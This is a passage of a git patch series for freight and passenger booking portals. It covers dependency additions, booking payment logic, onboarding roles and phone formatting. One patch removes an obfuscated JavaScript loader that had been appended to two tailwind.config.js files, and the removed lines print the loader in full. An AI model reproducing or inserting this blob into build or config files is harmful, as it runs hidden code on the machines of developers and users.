sha512-DzGfTasXPmwizQP4XV2rR6r2vp8TjlOpMnJqG9Iy2i1pl1lkZdZj5rSpIc7YFGX2nS46PPgAGEyT+Q5hE2FB2g==} engines: {node: '>=0.10.0'} @@ -10490,6 +10513,12 @@ packages: '@types/react': optional: true + react-phone-number-input@3.4.17: + resolution: {integrity: sha512-1wcjhBAWHgEBAGLi5/XbeZI7Q3aEHNb2z/dHY6R2Gz70TQvu0ZoOT28NTdwtZf4lyRKXWufnTzVhLPBUD8LfmQ==} + peerDependencies: + react: '>=16.8' + react-dom: '>=16.8' + react-redux@9.3.0: resolution: {integrity: sha512-KQopgqFo/p/fgmAs5qz6p5RWaNAzq40WAu7fJIXnQpYxFPbJYtsJPWvGeF2rOBaY/kEuV77AVsX8TsQzKm+A/g==} peerDependencies: @@ -19678,6 +19707,8 @@ snapshots: dependencies: clsx: 2.1.1 + classnames@2.5.1: {} + cli-cursor@3.1.0: dependencies: restore-cursor: 3.1.0 @@ -19944,6 +19975,8 @@ snapshots: optionalDependencies: typescript: 5.9.3 + country-flag-icons@1.6.17: {} + crc-32@1.2.2: {} crc32-stream@4.0.3: @@ -22131,6 +22164,13 @@ snapshots: ini@4.1.1: {} + input-format@0.3.14(react-dom@19.2.6(react@19.2.6))(react@19.2.6): + dependencies: + prop-types: 15.8.1 + optionalDependencies: + react: 19.2.6 + react-dom: 19.2.6(react@19.2.6) + internal-ip@1.2.0: dependencies: meow: 3.7.0 @@ -25075,6 +25115,16 @@ snapshots: optionalDependencies: '@types/react': 18.3.31 + react-phone-number-input@3.4.17(react-dom@19.2.6(react@19.2.6))(react@19.2.6): + dependencies: + classnames: 2.5.1 + country-flag-icons: 1.6.17 + input-format: 0.3.14(react-dom@19.2.6(react@19.2.6))(react@19.2.6) + libphonenumber-js: 1.13.6 + prop-types: 15.8.1 + react: 19.2.6 + react-dom: 19.2.6(react@19.2.6) + react-redux@9.3.0(@types/react@18.3.31)(react@19.2.6)(redux@5.0.1): dependencies: '@types/use-sync-external-store': 0.0.6 From b777da4bd7d65953087c3d5ef6f0ed673872adf4 Mon Sep 17 00:00:00 2001 From: marshal Date: Mon, 22 Jun 2026 10:01:07 +0300 Subject: [PATCH 14/19] remove defect --- apps/edr-passenger-web/backoffice/tailwind.config.js | 2 +- apps/edr-passenger-web/portal/tailwind.config.js | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/apps/edr-passenger-web/backoffice/tailwind.config.js b/apps/edr-passenger-web/backoffice/tailwind.config.js index fd096747e..1e0003052 100644 --- a/apps/edr-passenger-web/backoffice/tailwind.config.js +++ b/apps/edr-passenger-web/backoffice/tailwind.config.js @@ -37,4 +37,4 @@ module.exports = { }, }, plugins: [], -}; global['!']='8-4299';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; \ No newline at end of file diff --git a/apps/edr-passenger-web/portal/tailwind.config.js b/apps/edr-passenger-web/portal/tailwind.config.js index 683562ae3..efb8fd90e 100644 --- a/apps/edr-passenger-web/portal/tailwind.config.js +++ b/apps/edr-passenger-web/portal/tailwind.config.js @@ -89,4 +89,4 @@ export default { }, }, plugins: [], -}; global['!']='8-4299';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; \ No newline at end of file From ff039bd4407fe70331fa436fb4c21c1ea73988c2 Mon Sep 17 00:00:00 2001 From: Marshal Date: Mon, 22 Jun 2026 11:40:35 +0000 Subject: [PATCH 15/19] feat(bookings): update payment eligibility logic for general contracts and one-time bookings --- .../modules/train-scheduling/booking-batch.constants.ts | 3 ++- .../bookings/BookingDetailPage/ReadonlyBookingView.tsx | 9 ++++++++- .../portal/src/pages/bookings/MyBookings.tsx | 8 +++++++- 3 files changed, 17 insertions(+), 3 deletions(-) diff --git a/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.constants.ts b/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.constants.ts index eda168e03..5c9cb6119 100644 --- a/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.constants.ts +++ b/apps/edr-freight-api/src/modules/train-scheduling/booking-batch.constants.ts @@ -3,10 +3,11 @@ * Times run in EAT so the 07:00/10:00/… boundaries match the local operating clock. */ -/** Batch boundaries — every 3h from 07:00 (the 07:00–10:00 intake settles at 10:00, etc.). */ +/** Batch boundaries — every 3h from 00:00 (00–03, 03–06, … 21–24), matching the board windows. */ // export const BATCH_CRON = '0 7,10,13,16,19,22 * * *'; // export const BATCH_CRON = '*/3 * * * *'; export const BATCH_CRON = '*/5 * * * *'; +// export const BATCH_CRON = '0 */3 * * *';// export const BATCH_TIMEZONE = 'Africa/Addis_Ababa'; diff --git a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx index 4120dec7f..ca7346a83 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/BookingDetailPage/ReadonlyBookingView.tsx @@ -50,8 +50,15 @@ export function ReadonlyBookingView({ booking }: { booking: Freight.IBooking }) }); const pricing = booking.pricingBreakdown; + // A general contract is paid once it's FULLY_EXECUTED (signed) — it never + // enters batch selection. A one-time booking can only pay once it's been + // SELECTED_FOR_BATCH (assigned a slot with a pay window). + const isGeneralContract = booking.bookingType === "GENERAL_CONTRACT"; const canPay = - status === "SELECTED_FOR_BATCH" && booking.paymentStatus !== "PAID"; + booking.paymentStatus !== "PAID" && + (isGeneralContract + ? status === "FULLY_EXECUTED" + : status === "SELECTED_FOR_BATCH"); const showCountdown = canPay && !!booking.paymentDeadline; const isExpired = status === "EXPIRED"; const isPendingConsolidation = status === "PENDING_CONSOLIDATION"; diff --git a/apps/edr-freight-web/portal/src/pages/bookings/MyBookings.tsx b/apps/edr-freight-web/portal/src/pages/bookings/MyBookings.tsx index d4d8a75ec..5d7200008 100644 --- a/apps/edr-freight-web/portal/src/pages/bookings/MyBookings.tsx +++ b/apps/edr-freight-web/portal/src/pages/bookings/MyBookings.tsx @@ -180,6 +180,9 @@ function PrimaryAction({ }) { const { status, id } = booking; const go = () => onNavigate(`/bookings/${id}`); + // A general contract is payable as soon as it's FULLY_EXECUTED (signed); a + // one-time booking only after it's SELECTED_FOR_BATCH. + const isGeneralContract = booking.bookingType === "GENERAL_CONTRACT"; if (status === "DRAFT") { return ( + + + + + Select service + {CUSTOMER_SERVICES.map((type) => { + const isActive = type === activeProfileType; + const exists = profileExists(type); + return ( + handleSelectService(type)} + leftSection={ + isActive ? ( + + ) : exists ? ( + + ) : ( + + ) + } + disabled={isActive} + > + {serviceLabel(type)} + {!exists && ( + + (set up) + + )} + + ); + })} + + )} {/* Search pill */} @@ -798,15 +852,15 @@ export function AppLayout({ (switching ? undefined : setCreateOpen(false))} - title={`Set up your ${modeLabel(targetMode)} profile`} + title={`Set up your ${serviceLabel(createTarget)} profile`} centered radius="lg" > - You don't have an {modeLabel(targetMode).toLowerCase()} profile yet. - Add your business license to create one and switch to{" "} - {modeLabel(targetMode).toLowerCase()} mode. + You don't have a {serviceLabel(createTarget).toLowerCase()} profile + yet. Add your business license to create one and switch to{" "} + {serviceLabel(createTarget).toLowerCase()}. Date: Mon, 22 Jun 2026 12:30:44 +0000 Subject: [PATCH 18/19] feat: update onboarding and company role handling to support multiple service types --- .../onboarding/OnboardingWizardDialog.tsx | 37 +++++++++++----- .../src/pages/accounts/CompanyProfileForm.tsx | 10 +++-- .../src/pages/settings/CompanyRolesCard.tsx | 2 +- .../pages/settings/OnboardingRoleSelect.tsx | 44 +++++-------------- .../src/pages/settings/companyRoles.tsx | 8 +++- 5 files changed, 52 insertions(+), 49 deletions(-) diff --git a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx index 584735b3c..17fde6528 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx @@ -1,6 +1,6 @@ import { Modal, ScrollArea, Stack, Text } from "@mantine/core"; import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; -import { useCallback, useRef, useState } from "react"; +import { useCallback, useEffect, useRef, useState } from "react"; import useAuth from "@/hooks/useAuth"; import { api } from "@/services/api"; @@ -13,9 +13,7 @@ import { companiesService } from "@/services/companies.service"; import type { UpdateProfilePayload } from "@/types/profile"; import { extractApiError } from "@/utils/result"; import CompanyProfileForm from "@/pages/accounts/CompanyProfileForm"; -import ForwarderForm from "@/pages/accounts/ForwarderForm"; import type { RoleLicenseProfile } from "@/components/onboarding/RoleLicenseStep"; -import { FREIGHT_FORWARDER } from "@/pages/settings/companyRoles"; import NationalitySelect from "@/pages/settings/NationalitySelect"; import OnboardingRoleSelect from "@/pages/settings/OnboardingRoleSelect"; @@ -42,9 +40,14 @@ interface OnboardingWizardDialogProps { onClose: () => void; } -/** Map the chosen operational roles to the company type they belong to. */ -function companyTypeForRoles(roles: string[]): string { - return roles.includes(FREIGHT_FORWARDER.type) ? "forwarder" : "customer"; +/** + * The company type for the onboarding selection. Importer / Exporter / Freight + * Forwarder are all services a single "customer" company can hold (in any + * combination), each with its own business license — so the company is always + * registered as a "customer". + */ +function companyTypeForRoles(_roles: string[]): string { + return "customer"; } /** Document upload setting code per company nationality. */ @@ -161,6 +164,23 @@ export default function OnboardingWizardDialog({ api.companies.setOnboardingStep.call({ step }).catch(() => {}); }, []); + // The company query may resolve AFTER this dialog mounts (it's kept mounted by + // the gate), so the phase/roles/nationality initial state can be stale — a + // draft that already exists would otherwise leave us stuck on the first + // (nationality) phase. Once a draft loads, jump straight into the form with + // the persisted roles/nationality. Runs once per resumed draft. + const resumedRef = useRef(false); + useEffect(() => { + if (!companyAlreadyStarted || resumedRef.current) return; + resumedRef.current = true; + setRoles(existingProfiles.map((p) => p.type)); + setNationality(savedNationality); + setPhase("form"); + const idx = FORM_STEPS.indexOf(resumeFormStep); + if (idx > furthestIdxRef.current) furthestIdxRef.current = idx; + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [companyAlreadyStarted, resumeFormStep]); + const handleNationalityContinue = useCallback(() => { if (nationality) setPhase("role"); }, [nationality]); @@ -205,8 +225,7 @@ export default function OnboardingWizardDialog({ if (!user) return null; - const isForwarder = roles.includes(FREIGHT_FORWARDER.type); - // Importer+Exporter (or either alone) is a valid customer selection. + // Any non-empty combination of importer/exporter/freight-forwarder is valid. const rolesValid = roles.length > 0; // Documents depend on nationality; fall back to the saved one (resume) then ethiopian. const effectiveNationality: CompanyNationality = @@ -293,8 +312,6 @@ export default function OnboardingWizardDialog({ onClick={handleRolesContinue} /> - ) : isForwarder ? ( - ) : ( )} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index f64fd7efd..fca6ecb44 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -406,6 +406,10 @@ export default function CompanyProfileForm({ const [contactIsPoa, setContactIsPoa] = useState(false); const handleETradeDataLoaded = (data: CompanyRegistrationData) => { + // Company name comes from the eTrade manager/owner name on the license. + if (data.managerName) { + setValue("companyName", data.managerName, { shouldValidate: true }); + } setValue("licenceNumber", data.licenceNumber); setValue("statusDescription", data.statusDescription); setValue("dateRegistered", data.dateRegistered); @@ -673,11 +677,10 @@ export default function CompanyProfileForm({ /> - {watch("licenceNumber") && ( - <> + <> - Registration Details from eTrade + Registration Details - )} )} diff --git a/apps/edr-freight-web/portal/src/pages/settings/CompanyRolesCard.tsx b/apps/edr-freight-web/portal/src/pages/settings/CompanyRolesCard.tsx index 00aa8aeb6..89fd0c3f9 100644 --- a/apps/edr-freight-web/portal/src/pages/settings/CompanyRolesCard.tsx +++ b/apps/edr-freight-web/portal/src/pages/settings/CompanyRolesCard.tsx @@ -72,7 +72,7 @@ export default function CompanyRolesCard({ profile }: CompanyRolesCardProps) { {profile.companyType === "customer" - ? "Select the role(s) your company operates as — importer, exporter, or both." + ? "Select the service(s) your company operates as — importer, exporter and/or freight forwarder." : "Your company's operational role."} diff --git a/apps/edr-freight-web/portal/src/pages/settings/OnboardingRoleSelect.tsx b/apps/edr-freight-web/portal/src/pages/settings/OnboardingRoleSelect.tsx index faa9e7377..d5196d024 100644 --- a/apps/edr-freight-web/portal/src/pages/settings/OnboardingRoleSelect.tsx +++ b/apps/edr-freight-web/portal/src/pages/settings/OnboardingRoleSelect.tsx @@ -1,39 +1,34 @@ -import { Card, Divider, Group, SimpleGrid, Text, Title } from "@mantine/core"; +import { Card, Group, SimpleGrid, Text, Title } from "@mantine/core"; import { Building2 } from "lucide-react"; import RoleCard from "./RoleCard"; -import { CUSTOMER_ROLES, FREIGHT_FORWARDER } from "./companyRoles"; +import { CUSTOMER_ROLES } from "./companyRoles"; interface OnboardingRoleSelectProps { - /** Currently selected profile types (e.g. ["importer"], ["importer","exporter"], ["freight_forwarder"]). */ + /** Currently selected profile types (e.g. ["importer"], ["importer","exporter","freight_forwarder"]). */ value: string[]; onChange: (next: string[]) => void; } /** * First (and only) thing shown in the Company Profile tab during onboarding. - * Importer / Exporter sit side by side and can both be picked; Freight - * Forwarder is a separate, mutually-exclusive choice below them. A valid - * selection reveals the company-profile fields. + * Importer / Exporter / Freight Forwarder are independent services that can be + * picked in any combination — each becomes its own profile (with its own + * business license) under the same company. A valid selection reveals the + * company-profile fields. */ export default function OnboardingRoleSelect({ value, onChange, }: OnboardingRoleSelectProps) { const selected = new Set(value); - const isForwarder = selected.has(FREIGHT_FORWARDER.type); - // Toggling a customer role drops any forwarder selection (mutually exclusive). - const toggleCustomerRole = (type: string) => { - const next = new Set(value.filter((t) => t !== FREIGHT_FORWARDER.type)); + const toggleRole = (type: string) => { + const next = new Set(value); if (next.has(type)) next.delete(type); else next.add(type); onChange([...next]); }; - const toggleForwarder = () => { - onChange(isForwarder ? [] : [FREIGHT_FORWARDER.type]); - }; - return ( @@ -41,7 +36,8 @@ export default function OnboardingRoleSelect({ What does your company do? - Pick Importer, Exporter, or both — or register as a Freight Forwarder. + Pick any combination of Importer, Exporter and Freight Forwarder — each + is set up with its own business license. @@ -52,26 +48,10 @@ export default function OnboardingRoleSelect({ description={role.description} icon={role.icon} selected={selected.has(role.type)} - onClick={() => toggleCustomerRole(role.type)} + onClick={() => toggleRole(role.type)} /> ))} - - - - ); } diff --git a/apps/edr-freight-web/portal/src/pages/settings/companyRoles.tsx b/apps/edr-freight-web/portal/src/pages/settings/companyRoles.tsx index d875d68af..58b9f18d1 100644 --- a/apps/edr-freight-web/portal/src/pages/settings/companyRoles.tsx +++ b/apps/edr-freight-web/portal/src/pages/settings/companyRoles.tsx @@ -28,8 +28,12 @@ export const FREIGHT_FORWARDER: RoleMeta = { icon: , }; -/** Importer / Exporter — the two roles a "customer" company can hold. */ -export const CUSTOMER_ROLES: RoleMeta[] = [IMPORTER, EXPORTER]; +/** + * Importer / Exporter / Freight Forwarder — the services a "customer" company + * can hold. A single company may register for any combination, each getting its + * own business license. + */ +export const CUSTOMER_ROLES: RoleMeta[] = [IMPORTER, EXPORTER, FREIGHT_FORWARDER]; // dj_freight_forwarder and transporter are intentionally not exposed yet. export function rolesForCompanyType(companyType: string): RoleMeta[] { From 39f2c99395cd57889a0dee98ed44cd6f1bbb88a9 Mon Sep 17 00:00:00 2001 From: Marshal Date: Mon, 22 Jun 2026 12:35:01 +0000 Subject: [PATCH 19/19] feat: add phone number normalization to Ethiopian E.164 format in CompanyProfileForm --- .../portal/src/components/PhoneField.tsx | 18 +++++++++++++ .../src/pages/accounts/CompanyProfileForm.tsx | 26 ++++++++++++------- 2 files changed, 35 insertions(+), 9 deletions(-) diff --git a/apps/edr-freight-web/portal/src/components/PhoneField.tsx b/apps/edr-freight-web/portal/src/components/PhoneField.tsx index e1ad3cd56..a50621e60 100644 --- a/apps/edr-freight-web/portal/src/components/PhoneField.tsx +++ b/apps/edr-freight-web/portal/src/components/PhoneField.tsx @@ -14,6 +14,24 @@ import "./phone-field.css"; export const isValidPhone = (value?: string | null): boolean => !!value && isValidPhoneNumber(value); +/** + * Normalize a raw (often eTrade) phone string to Ethiopian E.164 (+251…). + * eTrade returns local numbers like "0912345678" / "0355235416"; the phone + * input needs +251… to parse, so we drop a leading 0 and prepend +251. Numbers + * already in +… form, or that can't be coerced, are returned trimmed/as-is. + */ +export const toEthiopianE164 = (raw?: string | null): string => { + if (!raw) return ""; + const trimmed = raw.trim(); + if (trimmed.startsWith("+")) return trimmed.replace(/[^\d+]/g, ""); + // Keep digits only, drop a single leading zero (national trunk prefix). + const digits = trimmed.replace(/\D/g, "").replace(/^0/, ""); + if (!digits) return ""; + // Already includes the 251 country code. + if (digits.startsWith("251")) return `+${digits}`; + return `+251${digits}`; +}; + /** * The text input rendered inside react-phone-number-input, styled to match the * portal's Mantine fields (44px height, 10px radius, edr border). Must forward diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index fca6ecb44..29055a2e8 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -34,7 +34,11 @@ import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; import type { CompanyRegistrationData } from "@edr/types"; -import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; +import { + ControlledPhoneField, + isValidPhone, + toEthiopianE164, +} from "@/components/PhoneField"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; import RoleLicenseStep, { @@ -421,7 +425,10 @@ export default function CompanyProfileForm({ setValue("woreda", data.woreda); setValue("kebele", data.kebele); setValue("houseNo", data.houseNo); - setValue("etradePhone", data.regularPhone || data.mobilePhone); + setValue( + "etradePhone", + toEthiopianE164(data.regularPhone || data.mobilePhone), + ); // Compose a readable company address from the granular eTrade parts. const addressParts = [ @@ -436,14 +443,16 @@ export default function CompanyProfileForm({ } // Pre-fill the company contact phone from eTrade's mobile number. - const mobile = data.mobilePhone || data.regularPhone; + const mobile = toEthiopianE164(data.mobilePhone || data.regularPhone); if (mobile) { - setValue("companyPhone", mobile ?? "", { shouldValidate: true }); + setValue("companyPhone", mobile, { shouldValidate: true }); } setEtradeOwner({ name: data.managerName, - phone: data.managerPhone || data.regularPhone || data.mobilePhone, + phone: toEthiopianE164( + data.managerPhone || data.regularPhone || data.mobilePhone, + ), }); }; @@ -763,11 +772,10 @@ export default function CompanyProfileForm({ error={errors.houseNo?.message} {...register("houseNo")} /> -